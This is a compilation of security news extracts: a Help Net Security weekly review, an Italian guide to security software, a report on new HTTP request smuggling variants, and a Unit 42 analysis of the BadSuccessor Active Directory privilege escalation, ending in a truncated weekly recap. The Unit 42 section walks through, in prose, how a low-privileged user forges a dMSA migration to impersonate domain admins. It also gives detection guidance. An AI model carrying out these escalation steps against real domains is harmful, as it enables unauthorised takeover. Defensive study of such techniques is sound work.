Week in review: SonicWall firewalls targeted in ransomware attacks, Black Hat USA 2025 Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Black Hat USA 2025 Black Hat USA 2025 took place at the Mandalay Bay Convention Center in Las Vegas. Explore related news, photos, product releases, and more. AIBOMs are the new SBOMs: The missing link in AI risk management In this Help Net Security interview, Marc Frankel, CEO at Manifest Cyber, discusses how overlooked AI-specific risks, like poisoned training data and shadow AI, can lead to security issues that conventional tools fail to detect. He explains how AI Bills of Materials (AIBOMs) extend SBOMs to provide transparency into datasets, model weights, and third-party integrations, improving governance and incident response. Security tooling pitfalls for small teams: Cost, complexity, and low ROI In this Help Net Security interview, Aayush Choudhury, CEO at Scrut Automation, discusses why many security tools built for large enterprises don’t work well for leaner, cloud-native teams. He explains how simplicity, integration, and automation are key for SMBs with limited resources. Beyond PQC: Building adaptive security programs for the unknown In this Help Net Security interview, Jordan Avnaim, CISO at Entrust, discusses how to communicate the quantum computing threat to executive teams using a risk-based approach. He explains why post-quantum cryptography (PQC) is an urgent and long-term priority. SonicWall firewalls targeted in ransomware attacks, possibly via zero-day Attackers wielding the Akira ransomware and possibly a zero-day exploit have been spotted targeting SonicWall firewalls since July 15, 2025. Project Ire: Microsoft’s autonomous malware detection AI agent Microsoft is working on a AI agent whose main goal is autonomous malware detection and the prototype – dubbed Project Ire – is showing great potential, the company has announced on Tuesday. Millions of Dell laptops could be persistently backdoored in ReVault attacks A set of firmware vulnerabilities affecting 100+ Dell laptop models widely used in government settings and by the cybersecurity industry could allow attackers to achieve persistent access even across Windows reinstalls, Cisco Talos researchers have discovered. Trend Micro Apex One flaws exploted in the wild (CVE-2025-54948, CVE-2025-54987) Unauthenticated command injection vulnerabilities (CVE-2025-54948, CVE-2025-54987) affecting the on-premise version of Trend Micro’s Apex One endpoint security platform are being probed by attackers, the company has warned on Wednesday. Adobe patches critical Adobe Experience Manager Forms vulnerabilities with public PoC Adobe has released an emergency security update for Adobe Experience Manager Forms on Java Enterprise Edition (JEE), which fix two critical vulnerabilities (CVE-2025-54253, CVE-2025-54254) with a publicly available proof-of-concept (PoC) exploit. Microsoft urges admins to plug severe Exchange security hole (CVE-2025-53786) The privilege escalation can be performed by exploiting CVE-2025-53786, a newly disclosed vulnerability that stems from Exchange Server and Exchange Online sharing the same service principal – i.e., the Office 365 Exchange Online application – in hybrid configurations. (The app is used to authenticate and secure the communication between Exchange Server and Exchange Online.) Cybersecurity and the development of software-defined vehicles In many automotive companies, the same systems-engineering teams are responsible for both safety and security. As a result, cybersecurity is treated as a subset of safety, undergirded by an implicit assumption: “If it’s safe, it must be secure.” What GPT‑5 means for IT teams, devs, and the future of AI at work OpenAI has released GPT‑5, the newest version of its large language model. It’s now available to developers and ChatGPT users, and it brings some real changes to how AI can be used in business and IT environments. August 2025 Patch Tuesday forecast: Try, try again July started slow with a calm Patch Tuesday, addressing 130 CVEs but only one publicly disclosed, so risk was low. Then two SharePoint CVEs were exploited, heating things up with hotfixes late in the month. Add security issues in Microsoft Exchange and major Google and Apple updates, and July ended very active. Open-source password recovery utility Hashcat 7.0.0 released Hashcat is an open-source password recovery tool that supports five attack modes and more than 300 highly optimized hashing algorithms. It runs on CPUs, GPUs, and other hardware accelerators across Linux, Windows, and macOS, and includes features for distributed password cracking at scale. BloodHound 8.0 debuts with major upgrades in attack path management SpecterOps has released BloodHound 8.0, the latest iteration of its open-source attack path management platform, featuring major enhancements and expanded capabilities. Open-source server management platform Proxmox VE 9.0 released Proxmox Virtual Environment (VE) 9.0 introduces advancements in both storage and networking capabilities, addressing critical enterprise demands. AI in the SOC: Game-changer or more noise? In this Help Net Security video, Kev Marriott, Senior Manager of Cyber at Immersive Labs, explores the challenges and opportunities of integrating AI into Security Operations Centers (SOCs). Third-party partners or ticking time bombs? In this Help Net Security video, Ngaire Elizabeth Guzzetti, Technical Director Supply Chain at CyXcel, discusses why a third of U.S. organizations don’t trust third-party vendors to manage critical risks and what that means for supply chain security. What’s keeping risk leaders up at night? AI, tariffs, and cost cuts Enterprise risk leaders are most concerned about rising tariffs and trade tensions heading into the second half of 2025, according to a new report from Gartner. The firm’s second-quarter Emerging Risk Report, based on a survey of 223 senior risk, audit, and compliance executives, ranks the escalating trade war as the top emerging risk, up from third in the first quarter. The surprising truth about identity security confidence Organizations most confident in their identity security are often the least prepared, according to a new report from BeyondID. The study reveals a troubling gap between what organizations believe about their identity security programs and how they actually behave. Surprisingly, those expressing the highest confidence are adopting fewer best practices than their more cautious peers. Average global data breach cost now $4.44 million IBM released its Cost of a Data Breach Report, which revealed AI adoption is greatly outpacing AI security and governance. While the overall number of organizations experiencing an AI-related breach is a small representation of the researched population, this is the first time security, governance and access controls for AI have been studied in this report, which suggests AI is already an easy, high value target. Ransomware groups shift to quadruple extortion to maximize pressure Threat actors are using a new quadruple extortion tactic in ransomware campaigns, while double extortion remains the most common approach, according to Akamai. Your employees uploaded over a gig of files to GenAI tools last quarter In Q2 2025, Harmonic reviewed 1 million GenAI prompts and 20,000 uploaded files across more than 300 GenAI and AI-powered SaaS apps, and the findings confirm that sensitive data is being exposed through GenAI tools, something many security leaders fear but find difficult to measure. Why 90% of cyber leaders are feeling the heat 90% of cyber leaders find managing cyber risks harder today than five years ago, mainly due to the explosion of AI and expanding attack surfaces, according to BitSight. These threats are also fueling high rates of burnout, with 47% of cybersecurity and cyber risk professionals reporting exhaustion. CISOs say they’re prepared, their data says otherwise A new Axonius report, based on a survey of 500 U.S.-based IT and security leaders, shows a disconnect between perceived readiness and actual performance in vulnerability and exposure management. While 90% of respondents said their organization is prepared to act when a threat is found, only 25% said they trust the data in their security tools. Ransomware is up, zero-days are booming, and your IP camera might be next Cyber attackers are finding new ways in through the overlooked and unconventional network corners. Forescout’s 2025H1 Threat Review reveals a surge in advanced tactics, with zero-day exploits up 46 percent and ransomware attacks averaging 20 per day. Energy companies are blind to thousands of exposed services Many of America’s largest energy providers are exposed to known and exploitable vulnerabilities, and most security teams may not even see them, according to a new report from SixMap. AI can write your code, but nearly half of it may be insecure While GenAI excels at producing functional code, it introduces security vulnerabilities in 45 percent of cases, according to Veracode’s 2025 GenAI Code Security Report, which analyzed code produced by over 100 LLMs across 80 real-world coding tasks. Cybercriminals are getting personal, and it’s working Cybercriminals are deploying unidentifiable phishing kits (58% of phishing sites) to propagate malicious campaigns at scale, indicating a trend towards custom-made or obfuscated deployments, according to VIPRE Security. Fraud controls don’t guarantee consumer trust Over a third of companies say they are using AI, including generative AI, to fight fraud, according to Experian. As fraud threats become more complex, companies are accelerating their investments with over half adopting new analytics and building AI models to enhance customer decision-making. From fake CAPTCHAs to RATs: Inside 2025’s cyber deception threat trends Cybercriminals are getting better at lying. That’s the takeaway from a new LevelBlue report, which outlines how attackers are using social engineering and legitimate tools to quietly move through environments before they’re caught. Back to basics webinar: The ecosystem of CIS Security best practices Watch this on-demand webinar to understand how you can use an ecosystem of security best practices built by the Center for Internet Security (CIS) to support this mission. Cybersecurity jobs available right now: August 5, 2025 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: August 8, 2025 Here’s a look at the most interesting products from the past week, featuring releases from Black Kite, Descope, Elastic, ExtraHop, LastPass, and Riverbed.
helpnetsecurity.comAug 10, 2025extracted
Software di sicurezza informatica: soluzioni per aziende
Le minacce informatiche sono sempre più sofisticate, frequenti e dannose. Secondo Statista, entro il 2029, il costo globale dei danni provocati dalla criminalità informatica raggiungerà i 15,6 trilioni di dollari, esercitando una crescente pressione sulle organizzazioni affinché rafforzino le proprie difese. Di conseguenza, le aziende sono chiamate ad aumentare in modo significativo gli investimenti nella cyber security. Gartner stima che la spesa globale per la sicurezza informatica raggiungerà i 212 miliardi di dollari nel 2025, registrando un incremento del 15,1% rispetto al 2024. Inoltre, l’adozione diffusa di dispositivi IoT (Internet of Things) e l’implementazione delle reti 5G e 6G ampliano la superficie di attacco, oltre a creare nuove vulnerabilità che richiedono strategie avanzate per proteggere efficacemente i sistemi interconnessi. Ancora, la carenza di professionisti qualificati in sicurezza informatica costituisce un’ulteriore problema critico da gestire, ostacolando la capacità delle organizzazioni di implementare e di mantenere misure di sicurezza efficaci, esponendole a potenziali rischi cyber. Indice degli argomenti La sicurezza informatica scaturisce dall’insieme delle misure tecniche, organizzative e procedurali volte a proteggere sistemi informativi, dati, reti e identità digitali – sia individuali sia aziendali – da attacchi cyber, oppure a mitigarne l’impatto. Tale protezione si fonda sull’adozione di tecnologie di sicurezza informatica all’avanguardia, sull’implementazione di politiche di protezione rigorose, sul mantenimento di un elevato livello di consapevolezza all’interno dell’organizzazione, oltre ad un aggiornamento costante sulle minacce emergenti e sulle migliori pratiche di difesa. I software di sicurezza rappresentano strumenti fondamentali per la protezione informatica ed esistono sul mercato diverse tipologie di soluzioni in grado di: monitorare costantemente l’infrastruttura IT, individuare potenziali minacce e mitigarle; supportare l’identificazione e la risoluzione tempestiva delle vulnerabilità, prima che possano compromettere i sistemi. Di seguito un elenco delle principali tipologie di software di sicurezza e loro funzionalità: software di monitoraggio della sicurezza della rete per monitorare e bloccare le minacce; scanner di vulnerabilità per individuare le vulnerabilità nei tuoi sistemi ed eliminarle in tempo; firewall per filtrare il traffico dannoso e impedirne l’accesso alla rete; strumenti di crittografia per proteggere le comunicazioni e i contenuti; software antivirus per impedire a virus informatici e worm di infettare i tuoi dispositivi; sistemi di Intrusion detection system/intrusion prevention system (IDS/IPS) per rilevare e prevenire le minacce; strumenti di penetration testing per valutare l’efficacia delle misure di sicurezza. Di fatto, questi strumenti di cybersecurity garantiscono all’organizzazione diversi vantaggi in termini di: protezione dei dati personali; monitoraggio continuo e sicurezza; protezione del brand e mantenimento della fiducia di clienti, di partner e di investitori; miglioramento della produttività dei dipendenti; gestione dei requisiti normativi e di conformità, attraverso funzioni di analisi e di audit; miglioramento della sicurezza della forza lavoro distribuita o remota; gestione delle identità e delle autorizzazioni di accesso su sistemi e dati critici. risparmio in termini di costi di recovery. È importante selezionare il giusto fornitore di software di sicurezza informatica che comprenda l’azienda in termini di: specifico profilo di rischio, obiettivi aziendali e vincoli operativi. Di seguito una mini roadmap che fornisce aspetti fondamentali da considerare per una scelta ponderata e consapevole di una soluzione di sicurezza informatica: definire il proprio livello di sicurezza; valutare le capacità tecniche dei fornitori; valutare la scalabilità e l’integrazione; valutazione del servizio di supporto e la competenza; considerare il costo totale del software di sicurezza. È fondamentale iniziare valutando il proprio contesto di sicurezza, considerando se si è in cloud-native, ibrido o ancora prevalentemente on-premise. Oppure se si hanno team distribuiti, requisiti di conformità o normative specifiche di settore a cui conformarsi. Ovvero si tratta di considerare questi fattori essenziali: architettura dell’infrastruttura: le infrastrutture cloud-native, per esempio, richiedono modelli di sicurezza dinamici, scalabili e basati su API, a differenza dei tradizionali sistemi on-premise, che spesso si basano su protezioni statiche basate sul perimetro e livelli hardware fissi; requisiti di conformità: settori come la finanza, la sanità e la pubblica amministrazione devono rispettare normative rigorose, rendendo essenziali strumenti di protezione incentrati sulla conformità per evitare sanzioni costose; capacità del team: il personale interno deve possedere competenze in materia di sicurezza informatica per identificare le lacune in cui sono necessari applicazioni di sicurezza, o competenze esterne, per il monitoraggio 24 ore su 24, 7 giorni su 7, la risposta agli incidenti o il supporto specializzato per la conformità. I principali player di sicurezza informatica oggi combinano diversi aspetti di cybersecurity in piattaforme unificate. A tal proposito si consiglia di verificare la disponibilità di strumenti di sicurezza, quali: intelligenza artificiale comportamentale e apprendimento automatico: le minacce moderne richiedono sistemi in grado di apprendere e adattarsi. Pertanto, si consiglia di valutare fornitori di software di sicurezza informatica che utilizzino l’intelligenza artificiale per rilevare anomalie e prevedere potenziali attacchi, anziché limitarsi a rispondere a minacce note; rilevamento e risposta estesi (XDR – Extended Detection and Response): la soluzione di sicurezza dovrebbe fornire una visibilità unificata su endpoint, reti, carichi di lavoro cloud e identità degli utenti, dato che strumenti di sicurezza frammentati creano “zone d’ombra” che gli aggressori possono sfruttare; Zero Trust: si tratta un’architettura in grado di verificare ogni richiesta di accesso in base al contesto ed in tempo reale, inclusi il comportamento dell’utente, lo stato del dispositivo e la posizione, dato che la tradizionale sicurezza perimetrale è obsoleta negli ambienti distribuiti odierni. Si tratta di verificare la capacità della soluzione di sicurezza informatica di adeguarsi, nel tempo, alle esigenze dell’organizzazione, senza richiedere la sostituzione completa del software o della piattaforma. Pertanto, si consiglia di verificare i seguenti aspetti: integrazione cloud nativa: optare per strumenti di sicurezza che si integrano direttamente con i provider e servizi cloud, consentendo visibilità in tempo reale, controlli automatizzati e protezione coerente in ambienti multi-cloud e ibridi; architettura API-First: scegliere soluzioni progettate con API aperte, che consentano un’integrazione perfetta con gli strumenti, i flussi di lavoro e le applicazioni personalizzate esistenti per mantenere la continuità operativa e l’automazione; automazione delle policy: optare per soluzioni che applichino e facciano rispettare le policy di sicurezza in modo dinamico in tutti gli ambienti, garantendo la conformità, oltre a ridurre l’intervento manuale man mano che l’infrastruttura si espande o cambia rapidamente. I I fornitori di soluzioni di sicurezza informatica devono essere i grado di fornire sia tecnologia sia competenze, pertanto, si consiglia di verificare la disponibilità di servizi quali: supporto e monitoraggio 24 ore su 24, 7 giorni su 7: il fornitore deve garantire capacità di rilevamento delle minacce in tempo reale e di risposta rapida 24 ore su 24, compresi i giorni festivi e gli orari non lavorativi; pianificazione della risposta agli incidenti: un valido provider di soluzioni di sicurezza è in grado di supportare l’organizzazione attraverso piani di risposta agli incidenti ben documentati, garantendo un rapido contenimento, ripristino e comunicazione durante le violazioni; formazione continua: i principali player offrono formazione continua sulla sicurezza e aggiornamenti sulle minacce, consentendo all’organizzazione di riconoscere nuovi vettori di attacco, oltre a rafforzare le best practice tramite moduli di apprendimento pratici basati sui ruoli. Sebbene la sicurezza sia fondamentale, deve essere sostenibile. Pertanto, l’organizzazione deve valutare attentamente: costi di licenza e abbonamento: valutare se la struttura dei prezzi della soluzione di sicurezza informatica si adatta in modo efficiente alla crescita dell’organizzazione in termini di: numero di utenti; livelli di funzionalità; potenziali implicazioni sui costi a lungo termine per aggiornamenti o per rinnovi; implementazione e formazione: considerare l’impegno tecnico, il personale interno e il tempo necessari per implementare completamente la soluzione, oltre a formare gli utenti e integrarla senza problemi nei sistemi e nei flussi di lavoro esistenti; ratio costo/opportunità: considerare i rischi finanziari, reputazionali e operativi associati a potenziali violazioni della sicurezza rispetto al valore dell’investimento. In base alle recensioni di esperti di settore disponibili online, ecco un elenco dei principali fornitori di soluzioni di sicurezza informatica, noti per la loro popolarità e l’ampiezza delle funzionalità offerte (in ordine alfabetico): Akamai Armis Checkpoint Cisco Cloudfire Crowdstrike CyberArk Darktrace Fortinet Palo Alto Networks Proofpoint SentinelOne ServiceNow Symantec Sophos Splunk Sprinto Trend Micro.
cybersecurity360.itAug 8, 2025extracted
New HTTP Request Smuggling Attacks Impacted CDNs, Major Orgs, Millions of Websites
New variants of the HTTP request smuggling attack method impacted several widely used content delivery networks, major organizations, and millions of websites. James Kettle, director of research at application security firm PortSwigger, presented a new attack method on Wednesday at the Black Hat conference. Kettle has worked with several others, including a team of bug bounty hunters, to find impacted organizations and inform them about the risks. HTTP request smuggling, also referred to as a desync attack, leverages inconsistencies in how web servers process HTTP requests, enabling an attacker to ‘smuggle’ a malicious request inside a legitimate one. The issue is related to how servers — typically frontend servers that act as load balancers or proxies, and backend servers that host a website — determine where an HTTP request ends and where the next request begins. Threat actors can create a specially crafted request that is forwarded by the frontend server to the backend server, with the backend server being tricked into believing that the request has a smaller length than it actually does, leaving the leftover part of the request in the connection buffer and appending it to the next request. The attacker can craft the request to ensure that a malicious part is left in the connection buffer and appended to a request initiated by a legitimate user right after the attacker. The attacker’s request can be designed to steal the victim’s session, redirect the victim to a fake (phishing) website, or poison the web cache and cause the server to store a malicious page that is served to other users. The existence of HTTP request smuggling has been known for more than two decades, and at least half a dozen new variations have been found since 2016. A new variant discovered by Kettle leverages weaknesses in HTTP/1.1 and involves an attack method named 0.CL (a variation of CL.0). Kettle and the other researchers identified many impacted servers, including a non-production T-Mobile server (T-Mobile paid out a $12,000 bug bounty), a GitLab server that exposed reports sent to its bug bounty program (a $7,000 bug bounty was paid), and Netlify CDN systems. However they soon realized that many of the targets were using Akamai’s CDN. Further analysis showed that indeed the root cause was a vulnerability in Akamai’s infrastructure. The company assigned the issue CVE-2025-32094 and quickly started working on addressing it. Akamai paid out a $9,000 bug bounty and on Wednesday published a blog post sharing technical details. According to Kettle, the attack enabled mass compromise of user credentials from almost every company using Akamai, including tech giants, US government organizations, and SaaS providers. Cloudflare was also impacted, but by a different HTTP request smuggling attack involving HTTP/1.1 weaknesses. In the case of the internet security and performance giant, researchers found that they could redirect the visitors of the millions of websites protected by Cloudflare to a site they controlled. Cloudflare rushed to address the issue and paid out a $7,000 bug bounty. The company also published a blog post detailing the issue and how it was resolved. Overall, the researchers reported their findings to dozens of companies and they received bug bounties totaling $276,000. Kettle, who published a blog post on Wednesday to detail the findings, urged the industry to move away from HTTP/1.1 to HTTP/2+, which addresses the weaknesses that enable such attacks. Related: Adobe Issues Out-of-Band Patches for AEM Forms Vulnerabilities With Public PoC Related: Trend Micro Warns of Apex One Vulnerabilities Exploited in Wild
securityweek.comAug 7, 2025extracted
When Good Accounts Go Bad: Exploiting Delegated Managed Service Accounts in Active Directory
BadSuccessor is a critical attack vector that emerged following the release of Windows Server 2025. Under certain conditions, this server version enables users to leverage delegated Managed Service Accounts (dMSAs) to elevate privileges within Active Directory environments running Windows Server 2025. At the time of writing this article, no patch exists for this issue. By analyzing the core mechanics of this technique and offering practical detection strategies, we help security professionals and system administrators understand dMSAs and how attackers can misuse them to elevate privileges. We also provide advice on how to implement effective detection and mitigation strategies. Palo Alto Networks customers are better protected against the BadSuccessor technique through Cortex XDR and XSIAM. These products already have the ability to detect the attack. Performing auditing on the delegated Managed Service Account is a required action that we describe in this article. The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk. BadSuccessor Overview BadSuccessor is a novel technique that enables a threat actor with sufficient privileges to compromise an Active Directory (AD) domain by misusing controlled delegated Managed Service Account (dMSA) objects. Originally detailed in research published by Akamai, this technique demonstrates how modifying a small set of attributes on a dMSA object under the attacker’s control can lead to privilege escalation within the environment. Publicly available tools have already been released to automate various steps involved in leveraging this technique, potentially lowering the barrier for its adoption. We provide a comprehensive breakdown of the attack methodology, along with guidance on detection strategies and potential mitigations. In an AD environment, machine accounts represent hosts (servers or clients) that belong to a domain, while user accounts represent the users who log into and access the environment. With the release of Windows Server 2008 R2, Microsoft introduced Managed Service Accounts (MSAs) and group Managed Service Accounts (gMSAs) to simplify and enhance AD service account management. MSAs and gMSAs are specialized service accounts designed to securely run services within an AD environment without the need for manual password handling. An MSA account is linked to a single computer, allowing only that machine to retrieve and use the account. Conversely, a gMSA account can be used by multiple computers, like clusters or server farms. A key benefit of MSAs and gMSAs is that AD automatically manages their passwords. This involves generating strong, unique passwords and rotating them regularly, eliminating the need for human administrators to manage credentials. For example, when a service needs to access a domain resource, the Local Security Authority Subsystem Service (LSASS) uses the machine account to securely request the MSA or gMSA’s password. In this way, the password is handled in the AD and not directly by a user or an administrator. Delegated Managed Service Accounts The dMSA is a new account type introduced in Windows Server 2025 to facilitate the migration of traditional service accounts to Managed Service Accounts. This process is as follows: An administrator creates a new dMSA object, which is intended to supersede the existing service account. The administrator then initiates the migration, which sets the dMSA msDS-ManagedAccountPrecededByLink attribute to reference the original service account. When the original service authenticates as the original service account, it triggers a Lightweight Directory Access Protocol (LDAP) modify request. This adds the machine account to the list of principals that are allowed to retrieve the dMSA password. In the final step, the administrator completes the migration, which disables the original service account. The service continues to operate seamlessly using the dMSA. Once a dMSA supersedes an existing account, any attempts to authenticate as that existing account using its password will be blocked. These authentication requests are redirected to the Local Security Authority (LSA) to authenticate using the dMSA. By then, the request has been granted all permissions that the original account had in the Active Directory, by the Key Distribution Center (KDC). While dMSAs are intended to prevent credential harvesting, dMSAs also create a privilege escalation path that attackers can exploit through the BadSuccessor technique. dMSA Migration Flow The migration process of a traditional service account to a dMSA is triggered by an administrator using the Start-ADServiceAccountMigration PowerShell AD module command. The administrator passes the following values to the command: As the migration continues, it changes several attributes of the normal service account as it transitions to a dSMA account, including: The msDS-DelegatedMSAState attribute is set to 1 in the newly created dMSA. This attribute indicates the current state of the dMSA. Microsoft's documentation shows that 1 means the account migration has begun. The dMSA’s msDS-ManagedAccountPrecededByLink attribute is set to reference the superseded account. Next, the administrator initiates the Complete-ADServiceAccountMigration command. This command disables the superseded account, and it changes the msDS-DelegatedMSAState and msDS-SupersededServiceAccountState attribute values of the dMSA object to 2, indicating that the migration is complete. Following this migration, any service that relies on the superseded account will use the dMSA instead, which now has all the permissions that the superseded account had. Technical Analysis: Bad Successor Technique and Tools This section demonstrates how attackers can use dMSAs to impersonate any domain user account, including the domain administrator, using the BadSuccessor technique. dMSA Misuse If an attacker or low-privileged user attempts to initiate the migration process for an existing service account, the operation will fail, because only administrative users can initiate migration. Instead of initiating the migration process, a potential attacker would create a dMSA and then change the same dMSA attributes that the valid migration process changes. This mimics a migration and has the same effect on the migrated account. By default, only high-privileged users can create dMSAs under the default Managed Service Accounts container. However, other users can create dMSAs in other containers. This ultimately means that any domain user who has Create all child objects or msDS-DelegatedManagedServiceAccount permissions on an organizational unit (OU) could potentially compromise the entire domain. The following steps detail how an attacker could simulate the migration: Set the msDS-ManagedAccountPrecededByLink attribute to contain the DN of the account the attacker wants to impersonate. Set msDS-DelegatedMSAState to 2, to indicate that the migration process is complete. After changing these attributes and authenticating as the dMSA, the attacker obtains the full permissions of the superseded account. Any user with sufficient permissions can execute this method in any AD environment managed by a Windows Server 2025 domain controller (DC). BadSuccessor Simulation Before performing the actual attack, an attacker must ensure the compromised user has sufficient permissions to create all child objects or dMSAs. Akamai released a PowerShell script named Get-BadSuccessorOUPermissions.ps1 that finds domain accounts that have the appropriate permissions on an OU to perform the BadSuccessor technique. Figure 1 shows an example of Akamai's tool in action in a test AD environment. The output provides details of the objects in the domain that can be leveraged for BadSuccessor. In the example from Figure 1, the results indicate that an account named test_weak has the correct permissions to create a dMSA object under the OU DelegatedOU. The enumeration tool performs the command shown in Figure 2 to retrieve OU DNs and their security descriptors. After the tool retrieves the OU DNs and their security descriptors, it reviews the output to find the following rights: Create Child: msDS-DelegatedManagedServiceAccount Create Child: All Objects The tool’s output reveals all users and OU pairs that can potentially be leveraged for the BadSuccessor technique. First, the attacker creates a dMSA under the found OU. We demonstrate this in Figure 3 by creating a dMSA object named attacker_dMSA. Next, the attacker changes the attributes of the dMSA object to simulate the migration process. We demonstrated this in our test environment by setting the following values: msDS-ManagedAccountPrecededByLink attribute to contain the DN of the superseded account msDS-DelegatedMSAState to 2, to indicate that the migration process is complete Now that we know how the BadSuccessor technique works, let’s explore how different tools can automate an attack. SharpSuccessor SharpSuccessor is a proof of concept (PoC) hosted on a GitHub repository that automates the BadSuccessor technique. Figure 5 simulates an attack using a user account named test_weak in our test environment. This account has permissions to create a dMSA object under the DelegatedOU. Figure 6 shows that the attacker_dMSA account is subsequently created in the OU. Figure 7 shows how test_weak changed the msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState attributes of attacker_dMSA. This simulates the completion of the migration. Pentest-Tools-Collection BadSuccessor Module The Pentest-Tools-Collection recently added a BadSuccessor module as one of its AD tools. This module has two modes: Check mode Exploit mode Like the enumeration tool we previously discussed, this module’s check mode enumerates an AD environment. This enumeration indicates whether the environment can be exploited using the BadSuccessor technique and what OU can be used for a successful attack. Figure 8 shows the results of this module after we ran it in check mode in our test environment. This module’s exploit mode creates a dMSA object and sets its attributes to falsely indicate that a migration process is complete. Figure 9 shows the use of this module in exploit mode automating the same BadSuccessor process previously shown in Figures 3 and 4. Domain Compromise After successfully executing the BadSuccessor technique, potential attackers can further exploit the domain using Rubeus, which supports dMSA authentication. Figure 10 illustrates some Rubeus commands using the attacker_dMSA object in our test environment to gain access to privileged services in the domain. Figure 11 shows that after executing these Rubeus commands, test_weak can now access the network share C$ drive on the DC, which requires Domain Admin privileges. Detecting BadSuccessor Activity As presented in the Akamai article, the operations involved in BadSuccessor can be monitored via the following event IDs: Event ID 5137 — Tracks the creation of dMSA objects Event ID 5136 — Tracks the modification of the msDS-ManagedAccountPrecededByLink attribute Event ID 2946 — Tracks the Ticket Granting Ticket (TGT) that is generated for a dMSA But we propose an alternative way to track BadSuccessor activity and the footprints that it leaves behind; by leveraging Event ID 4662. When a user creates a dMSA object, the initiating user or process requires and uses the CreateChildaccess rights on the OU. Figure 12 shows how dMSA object creation using the CreateChild access rights is reflected in Event ID 4662 (An operation was performed on an object). The same Event ID is generated when a user with sufficient access rights modifies the following two attributes in the properties of the dMSA object. Changing the above dMSA attributes triggers the event shown in Figure 13. Legitimate dMSA Migration Process Footprints To better detect BadSuccessor, we must also know the differences between the footprints of malicious dMSA activity and legitimate dMSA migration. Only Administrative users can legitimately migrate service accounts to dMSA objects. To detect BadSuccessor activity, we must search for unprivileged users who have created a dMSA and then accessed the object’s specific attributes with the Access Mask value of 0x20 as shown in Figure 13. A slightly different footprint is created when a privileged user creates a dMSA legitimately and then migrates a service account. According to Microsoft's guide, only a privileged user can create a dMSA under the OU Managed Service Account. The Event 4662 log entry in Figure 14 shows an Administrator user creating a child object (the dMSA) in the Managed Service Account OU. A legitimate migration uses an initial msDS-DelegatedMSAState attribute with a value of 1. Figure 15 shows that the msDS-DelegatedMSAState attribute was changed in the first step of the migration process, while Figure 16 shows it was changed to 1. Figure 17 shows the last step that consists of changing the msDS-DelegatedMSAState attribute to 2, and changing the msDS-ManagedAccountPrecededByLink attribute to the superseded account. Enabling Auditing To identify the attack footprint and conduct detection activities, auditing must be enabled. Figure 18 shows an example of a relevant auditing interface. Conclusion We examined the BadSuccessor technique and explored how, under certain conditions, adversaries can exploit the newly introduced dMSAs in a Windows Server 2025 DC to compromise the domain. We also analyzed the operational footprints left by this activity and proposed a novel detection strategy to identify such attacks. Given how effective this attack can be, we strongly recommend closely monitoring Microsoft’s updates to understand available mitigation strategies and to properly configure all permissions — particularly those related to the BadSuccessor attack. Palo Alto Networks Protections Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat. Figure 19 shows an example of a “Possible Privilege Escalation using delegated MSA account attempt” in XSIAM. Cortex XDR and XSIAM detect user and credential-based threats by analyzing user activity from multiple data sources including endpoints, network firewalls, AD, identity and access management solutions, and cloud workloads. Cortex builds behavioral profiles of user activity over time with machine learning. By comparing new activity to past activity, peer activity and the expected behavior of the entity, Cortex detects anomalous activity indicative of credential-based attacks. If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 00080005045107 Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. The Unit 42 Managed Threat Hunting team has created queries that can help defenders identify potential signs of dMSA misuse and use of SharpSuccessor. Assuming that all auditing has been enabled and event logs are being properly ingested, the query provided below can be used to identify potential signs of SharpSuccessor execution. As SharpSuccessor creates a computer account, hunters can correlate SubjectLogonIDs to identify relevant events. Event ID 4741 indicates that a computer account was created, and Event ID 4662 shows that an operation was performed — in this case, dMSA creation. Then, hunters can enrich the details of the user account that performed the action, by correlating Event ID 4624 to pull in information such as: Workstation name IP address Logon type We recommend running this query on smaller time frames, given the multiple joins and alter commands leveraged. For customers who have enabled auditing and are ingesting Event ID 5136, the following query can be used to identify creation of dMSAs. Additionally, the following query can be used to identify which gMSA or standalone Managed Service Account (sMSA) account the new dMSA should supersede: The following queries can be used independently. Alternatively, they can be combined in a single query that will show details of the new dMSA, the new account name and the superseded accounts. XDR Alerts and MITRE Techniques Table 1 lists the Cortex XDR alerts and the associated MITRE ATT&CK techniques these alerts detect.
unit42.paloaltonetworks.comAug 6, 2025extracted
⚡ Weekly Recap: VPN 0-Day, Encryption Backdoor, AI Malware, macOS Flaw, ATM Hack & More
Malware isn’t just trying to hide anymore—it’s trying to belong. We’re seeing code that talks like us, logs like us, even documents itself like a helpful teammate. Some threats now look more like developer tools than exploits. Others borrow trust from open-source platforms, or quietly build themselves out of AI-written snippets. It’s not just about being malicious—it’s about being believable. In this week’s cybersecurity recap, we explore how today’s threats are becoming more social, more automated, and far too sophisticated for yesterday’s instincts to catch. ⚡ Threat of the Week Secret Blizzard Conduct ISP-Level AitM Attacks to Deploy ApolloShadow — Russian cyberspies are abusing local internet service providers' networks to target foreign embassies in Moscow and likely collect intelligence from diplomats' devices. The activity has been attributed to the Russian advanced persistent threat (APT) known as Secret Blizzard (aka Turla). It likely involves using an adversary-in-the-middle (AiTM) position within domestic telecom companies and ISPs that diplomats are using for Internet access to push a piece of malware called ApolloShadow. This indicates that the ISP may be working with the threat actor to facilitate the attacks using the System for Operative Investigative activities (SORM) systems. Microsoft declined to say how many organizations were targeted, or successfully infected, in this campaign. Inside the 2025 Security Shift: What Every Cloud Leader Must Know Now Cloud security is shifting fast. Sysdig’s 2025 Cloud Defense Report shows how AI tools like Sysdig Sage™ cut response time by 76%, while runtime security and open source tools like Falco reshape defense. Get insights and strategies to stay ahead. Get the report ➝ 🔔 Top News Companies that Employed Hafnium Hackers Linked to Over a Dozen Patents — Threat actors linked to the notorious Hafnium hacking group have worked for companies that registered several patents for highly intrusive forensics and data collection technologies. The findings highlight China's diverse private sector offensive ecosystem and an underlying problem with mapping tradecraft to a specific cluster, which may not accurately 